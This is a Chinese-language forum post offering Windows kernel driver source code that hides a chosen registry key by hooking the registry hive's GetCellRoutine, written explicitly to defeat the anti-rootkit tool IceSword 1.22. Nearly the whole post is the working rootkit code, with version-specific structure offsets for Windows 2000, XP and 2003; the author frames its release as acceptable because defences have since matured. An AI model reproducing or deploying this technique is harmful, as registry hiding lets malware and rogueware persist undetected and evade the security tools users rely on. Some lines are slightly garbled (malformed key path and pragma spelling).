發一段隱藏注冊表項的驅動代碼，可以過目前最新的IceSWord1.22。

以前驅動開發網懸賞挑戰IceSword時寫的，不過最后沒公開。那時流氓軟件勢頭正勁，我可不想火上澆油?，F在反流氓軟件日漸成熟，也就沒關系了。知道了原理，防御是非常容易的。

原理很簡單，實現的代碼也很短，啥都不用說，各位直接看示例代碼吧。

#include <ntddk.h>

#define GET_PTR(ptr, offset) ( *(PVOID*)( (ULONG)ptr + (offset##Offset) ) )

#define CM_KEY_INDEX_ROOT      0x6972         // ir
#define CM_KEY_INDEX_LEAF      0x696c         // il
#define CM_KEY_FAST_LEAF       0x666c         // fl
#define CM_KEY_HASH_LEAF       0x686c         // hl

// 一些CM的數據結構，只列出用到的開頭部分
#PRagma pack(1)
typedef struct _CM_KEY_NODE {
       USHORT Signature;
       USHORT Flags;
       LARGE_INTEGER LastWriteTime;
       ULONG Spare;               // used to be TitleIndex
       HANDLE Parent;
       ULONG SubKeyCounts[2];     // Stable and Volatile
       HANDLE SubKeyLists[2];     // Stable and Volatile
       // ...
} CM_KEY_NODE, *PCM_KEY_NODE;

typedef struct _CM_KEY_INDEX {
       USHORT Signature;
       USHORT Count;
       HANDLE List[1];
} CM_KEY_INDEX, *PCM_KEY_INDEX;

typedef struct _CM_KEY_BODY {
       ULONG Type;                // "ky02"
       PVOID KeyControlBlock;
       PVOID NotifyBlock;
       PEPROCESS Process;         // the owner process
       LIST_ENTRY KeyBodyList; // key_nodes using the same kcb
} CM_KEY_BODY, *PCM_KEY_BODY;

typedef PVOID (__stdcall *PGET_CELL_ROUTINE)(PVOID, HANDLE);

typedef struct _HHIVE {
       ULONG Signature;
       PGET_CELL_ROUTINE GetCellRoutine;
       // ...
} HHIVE, *PHHIVE;
#pragma pack()

// 需隱藏的主鍵名
WCHAR g_HideKeyName[] = L"http://Registry//Machine//SYSTEM//CurrentControlSet//Services//Beep";

PGET_CELL_ROUTINE g_pGetCellRoutine = NULL;
PGET_CELL_ROUTINE* g_ppGetCellRoutine = NULL;

PCM_KEY_NODE g_HideNode = NULL;
PCM_KEY_NODE g_LastNode = NULL;

// 打開指定名字的Key
HANDLE OpenKeyByName(PCWSTR pwcsKeyName)
{
       NTSTATUS status;
       UNICODE_STRING uKeyName;
       OBJECT_ATTRIBUTES oa;
       HANDLE hKey;

       RtlInitUnicodeString(&uKeyName, pwcsKeyName);
       InitializeObjectAttributes(&oa, &uKeyName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);
       status = ZwOpenKey(&hKey, KEY_READ, &oa);
       if (!NT_SUCCESS(status))
       {
           DbgPrint("ZwOpenKey Failed: %lx/n", status);
           return NULL;
       }

       return hKey;
}

// 獲取指定Key句柄的KeyControlBlock
PVOID GetKeyControlBlock(HANDLE hKey)
{
       NTSTATUS status;
       PCM_KEY_BODY KeyBody;
       PVOID KCB;

       if (hKey == NULL) return NULL;

       // 由Key句柄獲取對象體
       status = ObReferenceObjectByHandle(hKey, KEY_READ, NULL, KernelMode, &KeyBody, NULL);
       if (!NT_SUCCESS(status))
       {
           DbgPrint("ObReferenceObjectByHandle Failed: %lx/n", status);
           return NULL;
       }

       // 對象體中含有KeyControlBlock
       KCB = KeyBody->KeyControlBlock;
       DbgPrint("KeyControlBlock = %lx/n", KCB);

       ObDereferenceObject(KeyBody);

       return KCB;
}

// 獲取父鍵的最后一個子鍵的節點
PVOID GetLastKeyNode(PVOID Hive, PCM_KEY_NODE Node)
{
       // 獲取父鍵的節點
       PCM_KEY_NODE ParentNode = (PCM_KEY_NODE)g_pGetCellRoutine(Hive, Node->Parent);
       // 獲取子鍵的索引
       PCM_KEY_INDEX Index = (PCM_KEY_INDEX)g_pGetCellRoutine(Hive, ParentNode->SubKeyLists[0]);

       DbgPrint("ParentNode = %lx/nIndex = %lx/n", ParentNode, Index);

       // 如果為根(二級)索引，獲取最后一個索引
       if (Index->Signature == CM_KEY_INDEX_ROOT)
       {
           Index = (PCM_KEY_INDEX)g_pGetCellRoutine(Hive, Index->List[Index->Count-1]);
           DbgPrint("Index = %lx/n", Index);
       }

       if (Index->Signature == CM_KEY_FAST_LEAF || Index->Signature == CM_KEY_HASH_LEAF)
       {
           // 快速葉索引(2k)或散列葉索引(XP/2k3)，返回最后的節點
           return g_pGetCellRoutine(Hive, Index->List[2*(Index->Count-1)]);
       }
       else
       {
           // 一般葉索引，返回最后的節點
           return g_pGetCellRoutine(Hive, Index->List[Index->Count-1]);
       }
}

// GetCell例程的鉤子函數
PVOID MyGetCellRoutine(PVOID Hive, HANDLE Cell)
{
       // 調用原函數
       PVOID pRet = g_pGetCellRoutine(Hive, Cell);
       if (pRet)
       {
           // 返回的是需要隱藏的節點
           if (pRet == g_HideNode)
           {
               DbgPrint("GetCellRoutine(%lx, %08lx) = %lx/n", Hive, Cell, pRet);
               // 查詢、保存并返回其父鍵的最后一個子鍵的節點
               pRet = g_LastNode = (PCM_KEY_NODE)GetLastKeyNode(Hive, g_HideNode);
               DbgPrint("g_LastNode = %lx/n", g_LastNode);
               // 隱藏的正是最后一個節點，返回空值
               if (pRet == g_HideNode) pRet = NULL;
           }
           // 返回的是先前保存的最后一個節點
           else if (pRet == g_LastNode)
           {
               DbgPrint("GetCellRoutine(%lx, %08lx) = %lx/n", Hive, Cell, pRet);
               // 清空保存值，并返回空值
               pRet = g_LastNode = NULL;
           }
       }
       return pRet;
}

NTSTATUS DriverUnload(PDRIVER_OBJECT pDrvObj)
{
       DbgPrint("DriverUnload()/n");
       // 解除掛鉤
       if (g_ppGetCellRoutine) *g_ppGetCellRoutine = g_pGetCellRoutine;
       return STATUS_SUCCESS;
}

NTSTATUS DriverEntry(PDRIVER_OBJECT pDrvObj, PUNICODE_STRING pRegPath)
{
       ULONG BuildNumber;
       ULONG KeyHiveOffset;       // KeyControlBlock->KeyHive
       ULONG KeyCellOffset;       // KeyControlBlock->KeyCell
       HANDLE hKey;
       PVOID KCB, Hive;

       DbgPrint("DriverEntry()/n");

       pDrvObj->DriverUnload = DriverUnload;

       // 查詢BuildNumber
       if (PsGetVersion(NULL, NULL, &BuildNumber, NULL)) return STATUS_NOT_SUPPORTED;
       DbgPrint("BuildNumber = %d/n", BuildNumber);

       // KeyControlBlock結構各版本略有不同
       // Cell的值一般小于0x80000000，而Hive正相反，以此來判斷也可以
       switch (BuildNumber)
       {
           case 2195:     // Win2000
               KeyHiveOffset = 0xc;
               KeyCellOffset = 0x10;
               break;
           case 2600:     // WinXP
           case 3790:     // Win2003
               KeyHiveOffset = 0x10;
               KeyCellOffset = 0x14;
               break;
           default:
               return STATUS_NOT_SUPPORTED;
       }

       // 打開需隱藏的鍵
       hKey = OpenKeyByName(g_HideKeyName);
       // 獲取該鍵的KeyControlBlock
       KCB = GetKeyControlBlock(hKey);
       if (KCB)
       {
           // 由KCB得到Hive
           PHHIVE Hive = (PHHIVE)GET_PTR(KCB, KeyHive);
           // GetCellRoutine在KCB中，保存原地址
           g_ppGetCellRoutine = &Hive->GetCellRoutine;
           g_pGetCellRoutine = Hive->GetCellRoutine;
           DbgPrint("GetCellRoutine = %lx/n", g_pGetCellRoutine);
           // 獲取需隱藏的節點并保存
           g_HideNode = (PCM_KEY_NODE)g_pGetCellRoutine(Hive, GET_PTR(KCB, KeyCell));
           // 掛鉤GetCell例程
           Hive->GetCellRoutine = MyGetCellRoutine;
       }
       ZwClose(hKey);

       return STATUS_SUCCESS;
}